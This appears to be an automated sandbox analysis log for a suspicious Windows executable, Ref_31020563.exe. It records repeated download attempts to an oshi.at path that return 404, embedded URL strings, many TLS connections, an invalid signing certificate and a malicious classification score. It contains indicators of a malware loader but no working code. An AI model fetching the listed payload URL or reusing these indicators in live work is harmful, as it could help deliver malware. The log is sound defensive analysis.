Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at

Source: global traffic

DNS traffic detected: DNS query: oshi.at

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:26 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:29 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:32 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:35 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:38 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:40 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:43 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:46 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:49 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:52 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:55 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:58 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:01 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:04 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:07 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:10 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:12 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:15 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:18 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:21 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:24 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:27 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:30 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:33 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:36 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:38 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:41 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:44 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:47 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:51 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:54 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:28:57 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:00 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:03 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:06 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:08 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:11 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:15 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:18 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:21 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:24 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:27 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:29 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:32 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:35 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:38 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:41 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:44 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:47 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:50 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:53 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:55 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:29:58 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:30:01 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:30:04 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:30:07 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:30:10 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:30:13 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:30:16 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:30:19 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:30:22 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:30:25 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:30:28 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:30:31 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close

Source: Ref_31020563.exe	String found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q
Source: Ref_31020563.exe	String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0
Source: Ref_31020563.exe	String found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
Source: Ref_31020563.exe	String found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
Source: Ref_31020563.exe	String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
Source: Ref_31020563.exe	String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: Ref_31020563.exe	String found in binary or memory: http://ocsps.ssl.com0
Source: Ref_31020563.exe	String found in binary or memory: http://ocsps.ssl.com0?
Source: Ref_31020563.exe	String found in binary or memory: http://ocsps.ssl.com0_
Source: Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DDA000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://oshi.at
Source: Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DDA000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://oshi.atd
Source: Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Ref_31020563.exe	String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: Ref_31020563.exe	String found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
Source: Ref_31020563.exe, 00000000.00000002.3283542309.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002EE7000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002E3E000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002F03000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000003099000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002F07000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030A9000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002F14000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030D5000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DF7000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030B5000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000003095000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.000000000308D000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002EF7000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030C5000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.000000000307D000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002F1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/somenonymous/OshiUpload
Source: Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DCA000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002F2C000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030E2000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oshi.at
Source: Ref_31020563.exe, 00000000.00000002.3283542309.0000000002F2C000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030E2000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oshi.at/AQBP
Source: Ref_31020563.exe	String found in binary or memory: https://oshi.at/AQBPKPAMhkUWREVZAdqU4bM.xStpkLwqD15MRB9YwOo
Source: Ref_31020563.exe, 00000000.00000002.3283542309.0000000002F2C000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030E2000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oshi.at/AQBPd
Source: Ref_31020563.exe, 00000000.00000002.3283542309.0000000002D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oshi.at/AQBPto
Source: Ref_31020563.exe	String found in binary or memory: https://www.ssl.com/repository0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown

HTTPS traffic detected: 194.15.112.248:443 -> 192.168.2.8:49713 version: TLS 1.2

Source: Ref_31020563.exe

Static PE information: invalid certificate

Source: Ref_31020563.exe, 00000000.00000002.3283207471.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Ref_31020563.exe
Source: Ref_31020563.exe, 00000000.00000000.1413119282.00000000009EB000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRef#.exe8 vs Ref_31020563.exe
Source: Ref_31020563.exe	Binary or memory string: OriginalFilenameRef#.exe8 vs Ref_31020563.exe

Source: Ref_31020563.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal56.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\Ref_31020563.exe

Mutant created: NULL

Source: Ref_31020563.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Ref_31020563.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\Ref_31020563.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Ref_31020563.exe

ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: cryptsp.dll	Jump to behavior
